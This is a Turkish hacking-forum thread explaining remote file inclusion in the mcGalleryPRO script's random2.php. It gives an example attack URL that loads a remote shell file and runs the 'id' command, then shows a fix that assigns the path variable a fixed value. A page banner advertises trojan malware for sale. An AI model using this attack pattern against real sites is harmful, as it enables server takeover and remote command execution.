RFI Açıklarını Bulmaİnclude - Require - Define Bu yönergelerin kullanımı sırasında $ tanım işareti ile kullanılan parametreler yardımıyla uzaktan kod çağırılabiliyor. Örnek olarak aşağıdaki kodu ele alalım: include ($path_to_folder/admin/common.php ); include ($path_to_folder/lang/$lang_def
Konu White Death tarafından açılmış, 523 kişi tarafından görüntülenip, 1 yanıt almış.
|
Özel Yazılım Trojan+, güncellemeli ve garantili. Sadece 690TL! Kredi kartınıza 12 taksit kolaylığı!
|
|||||||
RFI Açıklarını Bulma konusundaki toplam yorum: 1, okunma sayısı: 523. |
|
|
|||||||||||||||||||||||||||
|
|
#1 |
|
Daimi Üye
![]() ![]() ![]() Kayıt Tarihi: Sep 2006
Üye numarası: #87402 Yer: Cehennem...
Mesaj sayısı: 391
Karma etkisi: 117
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 11151
|
İnclude
- Require - Define Bu yönergelerin kullanımı sırasında "$" tanım işareti ile kullanılan parametreler yardımıyla uzaktan kod çağırılabiliyor. Örnek olarak aşağıdaki kodu ele alalım: include ("$path_to_folder/admin/common.php" ); include ("$path_to_folder/lang/$lang_def" ); yukarıdaki kodlar mcGalleryPRO scriptinden alınmıştır.kurulum paketindeki random2.php dosyasındaki hatalı kodlamadan dolayı uzaktan dosya çağırmak mümkündür.şimdi burda başında $ işareti olan parametrelere dikkatinizi çekmek istiyorum. path_to_folder ve lang_def... ilk parametreyi kullanarak rfi yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.dolayısıyla bu değişkene atıyacağınız her hangi bir değer onun değerini belirler. bu kodla örnek rfi yi oluşturalım : http://www.victimsite.com/mcGalleryP...ell.txt?cmd=id Bu şekilde bir Rfi’nin varsayılan ayarlarda bir değişiklik yapılmamışsa çalışması beklenir. Peki aynı şey lang_def için mümkün müdür? Tabii ki hayır... Çünkü dikkatinizi çektiyse lang_def değişkeninden önce sırada /lang klasörü vardır.Eğer siz; http://www.victimsite.com/mcGalleryP...ell.txt?cmd=id ...şeklinde bir rfi yapmak isterseniz;bu kodu çağırdığınızda gezgininiz /lang klasörün altında çağıracağınız kodu arar.şimdi ilk değişkenimize geri dönelim.. gördüğünüz gibi bu bir açık yani "bug" dır.peki kapatılması mümkün mü?Elbette.. örnek olarak bir fixing yapalım: $path_to_folder = "./" ; include ("$path_to_folder/admin/common.php" ); include ("$path_to_folder/lang/$lang_def" ); Basit olarak random2.php dosyasının böyle kodlandığını varsayarsak rfi yapamayacağımızı görürüz.çünkü path_to_folder değişkenine bir değer atanmış ve çağırılmak istenen dosyanın ./ yani public_html ya da httpdocs gibi sitenin root klasöründe aranması işaret edilmiştir. Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=184544 alıntı |
|
|
|
|
|
#2 |
|
Hızlı Çırak
![]() ![]() Kayıt Tarihi: May 2008
Üye numarası: #220755
Mesaj sayısı: 70
Karma etkisi: 84
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Karma: 7970
|
güzel paylasım tesekkür ederim.. ama yazdıklarından anladıgım tek sey bilgisayarın 'b' sinden bile anlamadıgım
![]() |
|
|
|
![]() |
| Şu Anda Konuyu Görüntüleyenler: 1 (0 üye ve 1 misafir) | |
| Konu Araçları | Bu Konuda Ara |
|
|
